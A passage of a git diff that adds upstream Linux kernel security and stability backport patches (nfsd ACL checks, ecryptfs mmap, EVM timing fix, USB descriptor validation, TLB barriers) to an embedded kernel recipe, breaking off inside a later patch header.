+Signed-off-by: Jens Axboe +Signed-off-by: Dmitry Shmidt +Signed-off-by: Greg Kroah-Hartman +--- + block/blk-flush.c | 15 ++++++++++++++- + block/blk-mq-tag.c | 2 +- + block/blk-mq-tag.h | 12 ++++++++++++ + block/blk-mq.c | 16 +--------------- + block/blk.h | 6 ++++++ + 5 files changed, 34 insertions(+), 17 deletions(-) + +diff --git a/block/blk-flush.c b/block/blk-flush.c +index 20badd7b9d1b..9c423e53324a 100644 +--- a/block/blk-flush.c ++++ b/block/blk-flush.c +@@ -73,6 +73,7 @@ + + #include "blk.h" + #include "blk-mq.h" ++#include "blk-mq-tag.h" + + /* FLUSH/FUA sequences */ + enum { +@@ -226,7 +227,12 @@ static void flush_end_io(struct request *flush_rq, int error) + struct blk_flush_queue *fq = blk_get_flush_queue(q, flush_rq->mq_ctx); + + if (q->mq_ops) { ++ struct blk_mq_hw_ctx *hctx; ++ ++ /* release the tag's ownership to the req cloned from */ + spin_lock_irqsave(&fq->mq_flush_lock, flags); ++ hctx = q->mq_ops->map_queue(q, flush_rq->mq_ctx->cpu); ++ blk_mq_tag_set_rq(hctx, flush_rq->tag, fq->orig_rq); + flush_rq->tag = -1; + } + +@@ -308,11 +314,18 @@ static bool blk_kick_flush(struct request_queue *q, struct blk_flush_queue *fq) + + /* + * Borrow tag from the first request since they can't +- * be in flight at the same time. ++ * be in flight at the same time. And acquire the tag's ++ * ownership for flush req. + */ + if (q->mq_ops) { ++ struct blk_mq_hw_ctx *hctx; ++ + flush_rq->mq_ctx = first_rq->mq_ctx; + flush_rq->tag = first_rq->tag; ++ fq->orig_rq = first_rq; ++ ++ hctx = q->mq_ops->map_queue(q, first_rq->mq_ctx->cpu); ++ blk_mq_tag_set_rq(hctx, first_rq->tag, flush_rq); + } + + flush_rq->cmd_type = REQ_TYPE_FS; +diff --git a/block/blk-mq-tag.c b/block/blk-mq-tag.c +index 702ae29b8d90..4fbc8d563777 100644 +--- a/block/blk-mq-tag.c ++++ b/block/blk-mq-tag.c +@@ -403,7 +403,7 @@ static void bt_for_each(struct blk_mq_hw_ctx *hctx, + for (bit = find_first_bit(&bm->word, bm->depth); + bit < bm->depth; + bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { +- rq = blk_mq_tag_to_rq(hctx->tags, off + bit); ++ rq = hctx->tags->rqs[off + bit]; + if (rq->q == hctx->queue) + fn(hctx, rq, data, reserved); + } +diff --git a/block/blk-mq-tag.h b/block/blk-mq-tag.h +index 6206ed17ef76..14c6e4c92556 100644 +--- a/block/blk-mq-tag.h ++++ b/block/blk-mq-tag.h +@@ -85,4 +85,16 @@ static inline void blk_mq_tag_idle(struct blk_mq_hw_ctx *hctx) + __blk_mq_tag_idle(hctx); + } + ++/* ++ * This helper should only be used for flush request to share tag ++ * with the request cloned from, and both the two requests can't be ++ * in flight at the same time. The caller has to make sure the tag ++ * can't be freed. ++ */ ++static inline void blk_mq_tag_set_rq(struct blk_mq_hw_ctx *hctx, ++ unsigned int tag, struct request *rq) ++{ ++ hctx->tags->rqs[tag] = rq; ++} ++ + #endif +diff --git a/block/blk-mq.c b/block/blk-mq.c +index 691959ecb80f..4b839c117c56 100644 +--- a/block/blk-mq.c ++++ b/block/blk-mq.c +@@ -498,23 +498,9 @@ void blk_mq_kick_requeue_list(struct request_queue *q) + } + EXPORT_SYMBOL(blk_mq_kick_requeue_list); + +-static inline bool is_flush_request(struct request *rq, +- struct blk_flush_queue *fq, unsigned int tag) +-{ +- return ((rq->cmd_flags & REQ_FLUSH_SEQ) && +- fq->flush_rq->tag == tag); +-} +- + struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag) + { +- struct request *rq = tags->rqs[tag]; +- /* mq_ctx of flush rq is always cloned from the corresponding req */ +- struct blk_flush_queue *fq = blk_get_flush_queue(rq->q, rq->mq_ctx); +- +- if (!is_flush_request(rq, fq, tag)) +- return rq; +- +- return fq->flush_rq; ++ return tags->rqs[tag]; + } + EXPORT_SYMBOL(blk_mq_tag_to_rq); + +diff --git a/block/blk.h b/block/blk.h +index 43b036185712..e01b5ee80fe7 100644 +--- a/block/blk.h ++++ b/block/blk.h +@@ -22,6 +22,12 @@ struct blk_flush_queue { + struct list_head flush_queue[2]; + struct list_head flush_data_in_flight; + struct request *flush_rq; ++ ++ /* ++ * flush_rq shares tag with this rq, both can't be active ++ * at the same time ++ */ ++ struct request *orig_rq; + spinlock_t mq_flush_lock; + }; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0081-3e287c23efba-nfsd check permissions when setting ACLs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0081-3e287c23efba-nfsd check permissions when setting ACLs.patch new file mode 100644 index 0000000..5369aaa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0081-3e287c23efba-nfsd check permissions when setting ACLs.patch @@ -0,0 +1,158 @@ +From 3e287c23efba166b0b4c618a4f7e52016ff0e0ae Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Wed, 22 Jun 2016 19:43:35 +0100 +Subject: nfsd: check permissions when setting ACLs + +[ Upstream commit 999653786df6954a31044528ac3f7a5dadca08f4 ] + +Use set_posix_acl, which includes proper permission checks, instead of +calling ->set_acl directly. Without this anyone may be able to grant +themselves permissions to a file by setting the ACL. + +Lock the inode to make the new checks atomic with respect to set_acl. +(Also, nfsd was the only caller of set_acl not locking the inode, so I +suspect this may fix other races.) + +This also simplifies the code, and ensures our ACLs are checked by +posix_acl_valid. + +The permission checks and the inode locking were lost with commit +4ac7249e, which changed nfsd to use the set_acl inode operation directly +instead of going through xattr handlers. + +Reported-by: David Sinquin +[agreunba@redhat.com: use set_posix_acl] +Fixes: 4ac7249e +Cc: Christoph Hellwig +Cc: Al Viro +Cc: stable@vger.kernel.org +Signed-off-by: J. Bruce Fields + +Signed-off-by: Sasha Levin +--- + fs/nfsd/nfs2acl.c | 20 ++++++++++---------- + fs/nfsd/nfs3acl.c | 16 +++++++--------- + fs/nfsd/nfs4acl.c | 16 ++++++++-------- + 3 files changed, 25 insertions(+), 27 deletions(-) + +diff --git a/fs/nfsd/nfs2acl.c b/fs/nfsd/nfs2acl.c +index ac54ea60b3f69..67bdb78216f37 100644 +--- a/fs/nfsd/nfs2acl.c ++++ b/fs/nfsd/nfs2acl.c +@@ -104,22 +104,21 @@ static __be32 nfsacld_proc_setacl(struct svc_rqst * rqstp, + goto out; + + inode = fh->fh_dentry->d_inode; +- if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) { +- error = -EOPNOTSUPP; +- goto out_errno; +- } + + error = fh_want_write(fh); + if (error) + goto out_errno; + +- error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS); ++ fh_lock(fh); ++ ++ error = set_posix_acl(inode, ACL_TYPE_ACCESS, argp->acl_access); + if (error) +- goto out_drop_write; +- error = inode->i_op->set_acl(inode, argp->acl_default, +- ACL_TYPE_DEFAULT); ++ goto out_drop_lock; ++ error = set_posix_acl(inode, ACL_TYPE_DEFAULT, argp->acl_default); + if (error) +- goto out_drop_write; ++ goto out_drop_lock; ++ ++ fh_unlock(fh); + + fh_drop_write(fh); + +@@ -131,7 +130,8 @@ out: + posix_acl_release(argp->acl_access); + posix_acl_release(argp->acl_default); + return nfserr; +-out_drop_write: ++out_drop_lock: ++ fh_unlock(fh); + fh_drop_write(fh); + out_errno: + nfserr = nfserrno(error); +diff --git a/fs/nfsd/nfs3acl.c b/fs/nfsd/nfs3acl.c +index 34cbbab6abd76..78562dd5999c9 100644 +--- a/fs/nfsd/nfs3acl.c ++++ b/fs/nfsd/nfs3acl.c +@@ -95,22 +95,20 @@ static __be32 nfsd3_proc_setacl(struct svc_rqst * rqstp, + goto out; + + inode = fh->fh_dentry->d_inode; +- if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) { +- error = -EOPNOTSUPP; +- goto out_errno; +- } + + error = fh_want_write(fh); + if (error) + goto out_errno; + +- error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS); ++ fh_lock(fh); ++ ++ error = set_posix_acl(inode, ACL_TYPE_ACCESS, argp->acl_access); + if (error) +- goto out_drop_write; +- error = inode->i_op->set_acl(inode, argp->acl_default, +- ACL_TYPE_DEFAULT); ++ goto out_drop_lock; ++ error = set_posix_acl(inode, ACL_TYPE_DEFAULT, argp->acl_default); + +-out_drop_write: ++out_drop_lock: ++ fh_unlock(fh); + fh_drop_write(fh); + out_errno: + nfserr = nfserrno(error); +diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c +index 59fd766517814..df90268d75626 100644 +--- a/fs/nfsd/nfs4acl.c ++++ b/fs/nfsd/nfs4acl.c +@@ -830,9 +830,6 @@ nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + dentry = fhp->fh_dentry; + inode = dentry->d_inode; + +- if (!inode->i_op->set_acl || !IS_POSIXACL(inode)) +- return nfserr_attrnotsupp; +- + if (S_ISDIR(inode->i_mode)) + flags = NFS4_ACL_DIR; + +@@ -842,16 +839,19 @@ nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + if (host_error < 0) + goto out_nfserr; + +- host_error = inode->i_op->set_acl(inode, pacl, ACL_TYPE_ACCESS); ++ fh_lock(fhp); ++ ++ host_error = set_posix_acl(inode, ACL_TYPE_ACCESS, pacl); + if (host_error < 0) +- goto out_release; ++ goto out_drop_lock; + + if (S_ISDIR(inode->i_mode)) { +- host_error = inode->i_op->set_acl(inode, dpacl, +- ACL_TYPE_DEFAULT); ++ host_error = set_posix_acl(inode, ACL_TYPE_DEFAULT, dpacl); + } + +-out_release: ++out_drop_lock: ++ fh_unlock(fhp); ++ + posix_acl_release(pacl); + posix_acl_release(dpacl); + out_nfserr: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0082-8c8e669bb8c5-ecryptfs dont allow mmap when the lower fs doesnt support it.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0082-8c8e669bb8c5-ecryptfs dont allow mmap when the lower fs doesnt support it.patch new file mode 100644 index 0000000..5693374 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0082-8c8e669bb8c5-ecryptfs dont allow mmap when the lower fs doesnt support it.patch @@ -0,0 +1,59 @@ +From 8c8e669bb8c5f690976883dd3b7a32d605c58d9a Mon Sep 17 00:00:00 2001 +From: Jeff Mahoney +Date: Tue, 5 Jul 2016 17:32:30 -0400 +Subject: ecryptfs: don't allow mmap when the lower fs doesn't support it + +[ Upstream commit f0fe970df3838c202ef6c07a4c2b36838ef0a88b ] + +There are legitimate reasons to disallow mmap on certain files, notably +in sysfs or procfs. We shouldn't emulate mmap support on file systems +that don't offer support natively. + +CVE-2016-1583 + +Signed-off-by: Jeff Mahoney +Cc: stable@vger.kernel.org +[tyhicks: clean up f_op check by using ecryptfs_file_to_lower()] +Signed-off-by: Tyler Hicks + +Signed-off-by: Sasha Levin +--- + fs/ecryptfs/file.c | 15 ++++++++++++++- + 1 file changed, 14 insertions(+), 1 deletion(-) + +diff --git a/fs/ecryptfs/file.c b/fs/ecryptfs/file.c +index 77a3db3791c76..c02f52cfe64a2 100644 +--- a/fs/ecryptfs/file.c ++++ b/fs/ecryptfs/file.c +@@ -177,6 +177,19 @@ out: + return rc; + } + ++static int ecryptfs_mmap(struct file *file, struct vm_area_struct *vma) ++{ ++ struct file *lower_file = ecryptfs_file_to_lower(file); ++ /* ++ * Don't allow mmap on top of file systems that don't support it ++ * natively. If FILESYSTEM_MAX_STACK_DEPTH > 2 or ecryptfs ++ * allows recursive mounting, this will need to be extended. ++ */ ++ if (!lower_file->f_op->mmap) ++ return -ENODEV; ++ return generic_file_mmap(file, vma); ++} ++ + /** + * ecryptfs_open + * @inode: inode speciying file to open +@@ -374,7 +387,7 @@ const struct file_operations ecryptfs_main_fops = { + #ifdef CONFIG_COMPAT + .compat_ioctl = ecryptfs_compat_ioctl, + #endif +- .mmap = generic_file_mmap, ++ .mmap = ecryptfs_mmap, + .open = ecryptfs_open, + .flush = ecryptfs_flush, + .release = ecryptfs_release, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0083.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0083.diff new file mode 100644 index 0000000..db59811 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0083.diff @@ -0,0 +1,123 @@ +diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h +index 23e0625..9a7bf1d 100644 +--- a/arch/x86/include/asm/mmu_context.h ++++ b/arch/x86/include/asm/mmu_context.h +@@ -90,8 +90,34 @@ + #endif + cpumask_set_cpu(cpu, mm_cpumask(next)); + +- /* Re-load page tables */ ++ /* ++ * Re-load page tables. ++ * ++ * This logic has an ordering constraint: ++ * ++ * CPU 0: Write to a PTE for 'next' ++ * CPU 0: load bit 1 in mm_cpumask. if nonzero, send IPI. ++ * CPU 1: set bit 1 in next's mm_cpumask ++ * CPU 1: load from the PTE that CPU 0 writes (implicit) ++ * ++ * We need to prevent an outcome in which CPU 1 observes ++ * the new PTE value and CPU 0 observes bit 1 clear in ++ * mm_cpumask. (If that occurs, then the IPI will never ++ * be sent, and CPU 0's TLB will contain a stale entry.) ++ * ++ * The bad outcome can occur if either CPU's load is ++ * reordered before that CPU's store, so both CPUs much ++ * execute full barriers to prevent this from happening. ++ * ++ * Thus, switch_mm needs a full barrier between the ++ * store to mm_cpumask and any operation that could load ++ * from next->pgd. This barrier synchronizes with ++ * remote TLB flushers. Fortunately, load_cr3 is ++ * serializing and thus acts as a full barrier. ++ * ++ */ + load_cr3(next->pgd); ++ + trace_tlb_flush(TLB_FLUSH_ON_TASK_SWITCH, TLB_FLUSH_ALL); + + /* Stop flush ipis for the previous mm */ +@@ -114,10 +140,15 @@ + * schedule, protecting us from simultaneous changes. + */ + cpumask_set_cpu(cpu, mm_cpumask(next)); ++ + /* + * We were in lazy tlb mode and leave_mm disabled + * tlb flush IPI delivery. We must reload CR3 + * to make sure to use no freed page tables. ++ * ++ * As above, this is a barrier that forces ++ * TLB repopulation to be ordered after the ++ * store to mm_cpumask. + */ + load_cr3(next->pgd); + trace_tlb_flush(TLB_FLUSH_ON_TASK_SWITCH, TLB_FLUSH_ALL); +diff --git a/arch/x86/mm/tlb.c b/arch/x86/mm/tlb.c +index 3250f23..7e9168b 100644 +--- a/arch/x86/mm/tlb.c ++++ b/arch/x86/mm/tlb.c +@@ -160,7 +160,10 @@ + preempt_disable(); + + count_vm_tlb_event(NR_TLB_LOCAL_FLUSH_ALL); ++ ++ /* This is an implicit full barrier that synchronizes with switch_mm. */ + local_flush_tlb(); ++ + trace_tlb_flush(TLB_LOCAL_SHOOTDOWN, TLB_FLUSH_ALL); + if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) + flush_tlb_others(mm_cpumask(mm), mm, 0UL, TLB_FLUSH_ALL); +@@ -187,17 +190,29 @@ + unsigned long base_pages_to_flush = TLB_FLUSH_ALL; + + preempt_disable(); +- if (current->active_mm != mm) ++ if (current->active_mm != mm) { ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ + goto out; ++ } + + if (!current->mm) { + leave_mm(smp_processor_id()); ++ ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ + goto out; + } + + if ((end != TLB_FLUSH_ALL) && !(vmflag & VM_HUGETLB)) + base_pages_to_flush = (end - start) >> PAGE_SHIFT; + ++ /* ++ * Both branches below are implicit full barriers (MOV to CR or ++ * INVLPG) that synchronize with switch_mm. ++ */ + if (base_pages_to_flush > tlb_single_page_flush_ceiling) { + base_pages_to_flush = TLB_FLUSH_ALL; + count_vm_tlb_event(NR_TLB_LOCAL_FLUSH_ALL); +@@ -227,10 +242,18 @@ + preempt_disable(); + + if (current->active_mm == mm) { +- if (current->mm) ++ if (current->mm) { ++ /* ++ * Implicit full barrier (INVLPG) that synchronizes ++ * with switch_mm. ++ */ + __flush_tlb_one(start); +- else ++ } else { + leave_mm(smp_processor_id()); ++ ++ /* Synchronize with switch_mm. */ ++ smp_mb(); ++ } + } + + if (cpumask_any_but(mm_cpumask(mm), smp_processor_id()) < nr_cpu_ids) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0084.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0084.diff new file mode 100644 index 0000000..b0c0273 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0084.diff @@ -0,0 +1,37 @@ +diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h +index 9a7bf1d..ccad10b 100644 +--- a/arch/x86/include/asm/mmu_context.h ++++ b/arch/x86/include/asm/mmu_context.h +@@ -106,14 +106,16 @@ + * be sent, and CPU 0's TLB will contain a stale entry.) + * + * The bad outcome can occur if either CPU's load is +- * reordered before that CPU's store, so both CPUs much ++ * reordered before that CPU's store, so both CPUs must + * execute full barriers to prevent this from happening. + * + * Thus, switch_mm needs a full barrier between the + * store to mm_cpumask and any operation that could load +- * from next->pgd. This barrier synchronizes with +- * remote TLB flushers. Fortunately, load_cr3 is +- * serializing and thus acts as a full barrier. ++ * from next->pgd. TLB fills are special and can happen ++ * due to instruction fetches or for no reason at all, ++ * and neither LOCK nor MFENCE orders them. ++ * Fortunately, load_cr3() is serializing and gives the ++ * ordering guarantee we need. + * + */ + load_cr3(next->pgd); +@@ -146,9 +148,8 @@ + * tlb flush IPI delivery. We must reload CR3 + * to make sure to use no freed page tables. + * +- * As above, this is a barrier that forces +- * TLB repopulation to be ordered after the +- * store to mm_cpumask. ++ * As above, load_cr3() is serializing and orders TLB ++ * fills with respect to the mm_cpumask write. + */ + load_cr3(next->pgd); + trace_tlb_flush(TLB_FLUSH_ON_TASK_SWITCH, TLB_FLUSH_ALL); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0085-6702fc0c98d4-EVM Use cryptomemneq for digest comparisons.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0085-6702fc0c98d4-EVM Use cryptomemneq for digest comparisons.patch new file mode 100644 index 0000000..0b05375 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0085-6702fc0c98d4-EVM Use cryptomemneq for digest comparisons.patch @@ -0,0 +1,47 @@ +From 6702fc0c98d40442f9e74e10c499d68cd96455df Mon Sep 17 00:00:00 2001 +From: Ryan Ware +Date: Thu, 11 Feb 2016 15:58:44 -0800 +Subject: EVM: Use crypto_memneq() for digest comparisons + +[ Upstream commit 613317bd212c585c20796c10afe5daaa95d4b0a1 ] + +This patch fixes vulnerability CVE-2016-2085. The problem exists +because the vm_verify_hmac() function includes a use of memcmp(). +Unfortunately, this allows timing side channel attacks; specifically +a MAC forgery complexity drop from 2^128 to 2^12. This patch changes +the memcmp() to the cryptographically safe crypto_memneq(). + +Reported-by: Xiaofei Rex Guo +Signed-off-by: Ryan Ware +Cc: stable@vger.kernel.org +Signed-off-by: Mimi Zohar +Signed-off-by: James Morris +Signed-off-by: Sasha Levin +--- + security/integrity/evm/evm_main.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/security/integrity/evm/evm_main.c b/security/integrity/evm/evm_main.c +index 4ada1a97a60b..e1998df4c160 100644 +--- a/security/integrity/evm/evm_main.c ++++ b/security/integrity/evm/evm_main.c +@@ -24,6 +24,7 @@ + #include + #include + #include ++#include + #include "evm.h" + + int evm_initialized; +@@ -149,7 +150,7 @@ static enum integrity_status evm_verify_hmac(struct dentry *dentry, + xattr_value_len, calc.digest); + if (rc) + break; +- rc = memcmp(xattr_data->digest, calc.digest, ++ rc = crypto_memneq(xattr_data->digest, calc.digest, + sizeof(calc.digest)); + if (rc) + rc = -EINVAL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0086-d06f8ffbe758-atl2 Disable unimplemented scattergather feature.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0086-d06f8ffbe758-atl2 Disable unimplemented scattergather feature.patch new file mode 100644 index 0000000..053ed8a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0086-d06f8ffbe758-atl2 Disable unimplemented scattergather feature.patch @@ -0,0 +1,43 @@ +From d06f8ffbe758cb0e4ff7ba8e311ef496bcaf9532 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Wed, 20 Apr 2016 23:23:08 +0100 +Subject: atl2: Disable unimplemented scatter/gather feature + +[ Upstream commit f43bfaeddc79effbf3d0fcb53ca477cca66f3db8 ] + +atl2 includes NETIF_F_SG in hw_features even though it has no support +for non-linear skbs. This bug was originally harmless since the +driver does not claim to implement checksum offload and that used to +be a requirement for SG. + +Now that SG and checksum offload are independent features, if you +explicitly enable SG *and* use one of the rare protocols that can use +SG without checkusm offload, this potentially leaks sensitive +information (before you notice that it just isn't working). Therefore +this obscure bug has been designated CVE-2016-2117. + +Reported-by: Justin Yackoski +Signed-off-by: Ben Hutchings +Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.") +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + drivers/net/ethernet/atheros/atlx/atl2.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/ethernet/atheros/atlx/atl2.c b/drivers/net/ethernet/atheros/atlx/atl2.c +index 84a09e8ddd9c9..5086ec9214c3c 100644 +--- a/drivers/net/ethernet/atheros/atlx/atl2.c ++++ b/drivers/net/ethernet/atheros/atlx/atl2.c +@@ -1412,7 +1412,7 @@ static int atl2_probe(struct pci_dev *pdev, const struct pci_device_id *ent) + + err = -EIO; + +- netdev->hw_features = NETIF_F_SG | NETIF_F_HW_VLAN_CTAG_RX; ++ netdev->hw_features = NETIF_F_HW_VLAN_CTAG_RX; + netdev->features |= (NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_CTAG_RX); + + /* Init PHY as early as possible due to power saving issue */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0087.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0087.diff new file mode 100644 index 0000000..e68d59e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0087.diff @@ -0,0 +1,17 @@ +diff --git a/sound/usb/quirks.c b/sound/usb/quirks.c +index 42c1d01..8f6e08a 100644 +--- a/sound/usb/quirks.c ++++ b/sound/usb/quirks.c +@@ -168,6 +168,12 @@ + } + alts = &iface->altsetting[fp->altset_idx]; + altsd = get_iface_desc(alts); ++ if (altsd->bNumEndpoints < 1) { ++ kfree(fp); ++ kfree(rate_table); ++ return -EINVAL; ++ } ++ + fp->protocol = altsd->bInterfaceProtocol; + + if (fp->datainterval == 0) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0088.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0088.diff new file mode 100644 index 0000000..73948c8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0088.diff @@ -0,0 +1,56 @@ +diff --git a/sound/usb/clock.c b/sound/usb/clock.c +index f041196..66294eb 100644 +--- a/sound/usb/clock.c ++++ b/sound/usb/clock.c +@@ -288,6 +288,8 @@ + unsigned char data[3]; + int err, crate; + ++ if (get_iface_desc(alts)->bNumEndpoints < 1) ++ return -EINVAL; + ep = get_endpoint(alts, 0)->bEndpointAddress; + + /* if endpoint doesn't have sampling rate control, bail out */ +diff --git a/sound/usb/endpoint.c b/sound/usb/endpoint.c +index cc0f8be..f203775 100644 +--- a/sound/usb/endpoint.c ++++ b/sound/usb/endpoint.c +@@ -413,6 +413,9 @@ + * + * New endpoints will be added to chip->ep_list and must be freed by + * calling snd_usb_endpoint_free(). ++ * ++ * For SND_USB_ENDPOINT_TYPE_SYNC, the caller needs to guarantee that ++ * bNumEndpoints > 1 beforehand. + */ + struct snd_usb_endpoint *snd_usb_add_endpoint(struct snd_usb_audio *chip, + struct usb_host_interface *alts, +diff --git a/sound/usb/mixer_quirks.c b/sound/usb/mixer_quirks.c +index 05df7a7..de2f230 100644 +--- a/sound/usb/mixer_quirks.c ++++ b/sound/usb/mixer_quirks.c +@@ -1456,7 +1456,11 @@ + + /* use known values for that card: interface#1 altsetting#1 */ + iface = usb_ifnum_to_if(mixer->chip->dev, 1); ++ if (!iface || iface->num_altsetting < 2) ++ return -EINVAL; + alts = &iface->altsetting[1]; ++ if (get_iface_desc(alts)->bNumEndpoints < 1) ++ return -EINVAL; + ep = get_endpoint(alts, 0)->bEndpointAddress; + + err = snd_usb_ctl_msg(mixer->chip->dev, +diff --git a/sound/usb/pcm.c b/sound/usb/pcm.c +index 3fe55e4..4e09a86 100644 +--- a/sound/usb/pcm.c ++++ b/sound/usb/pcm.c +@@ -159,6 +159,8 @@ + unsigned char data[1]; + int err; + ++ if (get_iface_desc(alts)->bNumEndpoints < 1) ++ return -EINVAL; + ep = get_endpoint(alts, 0)->bEndpointAddress; + + data[0] = 1; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0089-37735ed2c8c1-Input atiremote2 fix crashes on detecting device with invalid.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0089-37735ed2c8c1-Input atiremote2 fix crashes on detecting device with invalid.patch new file mode 100644 index 0000000..3d1da7b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0089-37735ed2c8c1-Input atiremote2 fix crashes on detecting device with invalid.patch @@ -0,0 +1,112 @@ +From 37735ed2c8c12e9671a3742d6b9028bad43852df Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Wed, 23 Mar 2016 11:53:46 -0700 +Subject: Input: ati_remote2 - fix crashes on detecting device with invalid + descriptor + +[ Upstream commit 950336ba3e4a1ffd2ca60d29f6ef386dd2c7351d ] + +The ati_remote2 driver expects at least two interfaces with one +endpoint each. If given malicious descriptor that specify one +interface or no endpoints, it will crash in the probe function. +Ensure there is at least two interfaces and one endpoint for each +interface before using it. + +The full disclosure: http://seclists.org/bugtraq/2016/Mar/90 + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Sasha Levin +--- + drivers/input/misc/ati_remote2.c | 36 ++++++++++++++++++++++++++++++------ + 1 file changed, 30 insertions(+), 6 deletions(-) + +diff --git a/drivers/input/misc/ati_remote2.c b/drivers/input/misc/ati_remote2.c +index f63341f20b91a..e8c6a4842e91c 100644 +--- a/drivers/input/misc/ati_remote2.c ++++ b/drivers/input/misc/ati_remote2.c +@@ -817,26 +817,49 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + ar2->udev = udev; + ++ /* Sanity check, first interface must have an endpoint */ ++ if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { ++ dev_err(&interface->dev, ++ "%s(): interface 0 must have an endpoint\n", __func__); ++ r = -ENODEV; ++ goto fail1; ++ } + ar2->intf[0] = interface; + ar2->ep[0] = &alt->endpoint[0].desc; + ++ /* Sanity check, the device must have two interfaces */ + ar2->intf[1] = usb_ifnum_to_if(udev, 1); ++ if ((udev->actconfig->desc.bNumInterfaces < 2) || !ar2->intf[1]) { ++ dev_err(&interface->dev, "%s(): need 2 interfaces, found %d\n", ++ __func__, udev->actconfig->desc.bNumInterfaces); ++ r = -ENODEV; ++ goto fail1; ++ } ++ + r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); + if (r) + goto fail1; ++ ++ /* Sanity check, second interface must have an endpoint */ + alt = ar2->intf[1]->cur_altsetting; ++ if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { ++ dev_err(&interface->dev, ++ "%s(): interface 1 must have an endpoint\n", __func__); ++ r = -ENODEV; ++ goto fail2; ++ } + ar2->ep[1] = &alt->endpoint[0].desc; + + r = ati_remote2_urb_init(ar2); + if (r) +- goto fail2; ++ goto fail3; + + ar2->channel_mask = channel_mask; + ar2->mode_mask = mode_mask; + + r = ati_remote2_setup(ar2, ar2->channel_mask); + if (r) +- goto fail2; ++ goto fail3; + + usb_make_path(udev, ar2->phys, sizeof(ar2->phys)); + strlcat(ar2->phys, "/input0", sizeof(ar2->phys)); +@@ -845,11 +868,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + r = sysfs_create_group(&udev->dev.kobj, &ati_remote2_attr_group); + if (r) +- goto fail2; ++ goto fail3; + + r = ati_remote2_input_init(ar2); + if (r) +- goto fail3; ++ goto fail4; + + usb_set_intfdata(interface, ar2); + +@@ -857,10 +880,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d + + return 0; + +- fail3: ++ fail4: + sysfs_remove_group(&udev->dev.kobj, &ati_remote2_attr_group); +- fail2: ++ fail3: + ati_remote2_urb_cleanup(ar2); ++ fail2: + usb_driver_release_interface(&ati_remote2_driver, ar2->intf[1]); + fail1: + kfree(ar2); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0090-b684cb33d686-Input powermate fix oops with malicious USB descriptors.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0090-b684cb33d686-Input powermate fix oops with malicious USB descriptors.patch new file mode 100644 index 0000000..22c1b23 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0090-b684cb33d686-Input powermate fix oops with malicious USB descriptors.patch @@ -0,0 +1,41 @@ +From b684cb33d6867e10ba45375a12ef9f3ceb6f0aa7 Mon Sep 17 00:00:00 2001 +From: Josh Boyer +Date: Mon, 14 Mar 2016 